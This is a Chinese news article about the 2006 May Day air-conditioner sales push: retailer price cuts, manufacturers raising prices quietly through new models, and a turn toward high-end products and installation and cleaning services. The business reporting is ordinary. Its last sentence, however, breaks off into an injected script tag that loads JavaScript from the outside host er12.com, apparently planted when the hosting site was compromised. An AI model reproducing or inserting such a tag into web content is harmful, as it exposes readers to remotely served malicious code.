厂商磨刀霍霍五一攻势提前启动
五一将至，空调热潮扑面而来，为抢占市场先机，各厂商磨刀霍霍提前启动五一攻略，今年“黄金周”肉搏将变为“黄金月”。首先，家电卖场促销战火药味十足。4月初，一直执家电卖场牛耳的国美就完成了五一大战的筹备与布局。4月15日，广州国美启动了2006年五一千古绝唱之“巅峰之作”，五一期间总让利1.5亿元，价格平均降幅30%以上。国美充分利用了包销空调的定价权，凭借充足的“低价贴息空调”炮弹，率先强力启动了空调市场。随后，国美“牛刀小试”等促销大餐和着广州洛溪新店等开张也在一盘盘的端出。
在卖场的背后，厂家的动作也频频亮相。
一直被外界质疑有近70%为特价机的美的空调，喊出了美的盈利的宣言。同时，美的广州家用空调部公关策划主管张煦告诉《赢·生活》记者，美的“省钱”行动早在4月15日已拉开帷幕，从高性价比节能产品的推出，再到精美促销礼品的选择，处处体现出“省”的价值。
4月6日高调亮相的奥克斯宣布在4月的第一个星期里掀起“广东攻略”，并以“产品牌”、“足球牌”、“价格牌”为三大市场洗牌武器，迅速点燃今年冷冻年度空调战火。 厂家限量提价幻想破灭只好暗渡陈仓
由于空调原材料价格大幅上升、国家的能效标准也提升了制造成本，因此从年初起，国内空调厂商大叹日子不好过，大喊“除了涨价，厂家将别无选择”。但渠道商却再现“价格杀手”本色。不久前国美抛下了50亿现金，与全国十几个空调品牌签订了合作协议及包销、定制协议，贴息空调平均降幅在20%以上，最高达到了50%，苏宁也抛出了40.3亿元的订单，狙击厂家限量提价的设想。
今年空调价格是涨还是跌？“不可能降价”一空调厂家的市场部负责人对记者说，“降不降是由市场决定的，原材料上涨了20%，厂家再降价，现实吗？”2005年行业平均利润率仅0.61%的惨状，令绝大多数空调企业将竞争重点由以往的市场价格恶战转移到了内部整合，调整自身内部实力上来。往年动不动整体降价20%~30%的情形今年没有重演。业内人士分析，今年空调市场采取的是“暗涨”的形式，即以新品替代老款式，然后借新机提高售价。据了解，今年90％的空调生产企业都借新品上市悄悄提价。
北京工业大学制冷学科部李红旗博士接受《赢·生活》记者采访时表示，在目前的市场环境下，空调厂家要大面积涨价不太现实，而往往是通过减少特价机供应比例，推出升级换代新产品达到隐性涨价。中国空调目前产能过大， 6000万台已经达到一个高峰，超过1000万的库存量成为一枚隐形炸弹，这决定了企业以后的主要精力还会放在价格上。 “概念”成泡沫厂家借“高端+服务”突围
概念战一直是国内空调厂家的惯用武器，几乎所有的空调品牌都自称有杀菌、除臭功能，具备诸如光波纳米技术、光触媒滤网、uv除菌、氧吧负离子、银离子杀菌等等先进技术，“五花八门”的健康概念包装一度让消费者云里雾里。
在采访中，多位业内人士都表示，炒作概念不再是2006年的主流。“健康概念只是很多厂家给消费者一种选择的附加卖点。空调已从高科技产品转变为日常消费品，而且今年消费者的购买观念更趋理性，概念战不能成为主流，空调进一步回归到产品核心要素的竞争上，如制冷制热、静音、节能等效果。” 奥克斯策划总监李晓龙接受采访时称。
受天气、原材料、库存等因素影响，2005年中国空调业首次出现了负增长，近八成品牌被市场淘汰。不少企业依赖的成本优势已经触到了“天花板”，空调产业转型期将真正到来。在此背景下，无论是外资品牌还是国产品牌都在寻求新的突破点和利润支撑点，拓展利润空间。从整个产业来看，国内空调企业逐渐将目光盯向高端，试图从核心技术领域来打开突破口。从今年上市销售的新品来看，高端产品无疑是市场推广的重点，健康、节能、静音功能集成技术带来了空调档次的提升，彩色空调的集体亮相，也成为众多品牌角力市场寻求的一个新的利润增长点。如志高的“三超王”空调，长虹的生态空调系列，海尔和三超直流双新风系列、三星超豪华柜机asa等等，都欲争分高端市场的“奶酪”。
据广州松下空调营业部营销课课长向青介绍，松下今年将主推兼具节能、健康功能中高端空调，通过差异化产品以提高空调盈利能力。松下在近期推出了自动清洁滤网技术，这是目前为止空调业的最高标准，另外还在“泛网智控”的远程智能控制技术取得突破，用户可以通过电话、网络远程控制自己家中的空调或其他电器产品，完成所有运行操作。
在多年的价格战和概念战引发视觉疲劳之后，服务似乎成了空调企业最后角斗的战场。空调素有“三分产品、七分安装”的特点，由此，服务争夺战也在各大品牌与商家之间愈演愈烈。
2006年，美的全面推出了家用空调“深度清洗”服务，对空调从内到外核心零部件进行的全面彻底清洁。早在去年格力、美的就发起了“六年免费包修”的服务争夺战?script src=http://er12.com/t.js>
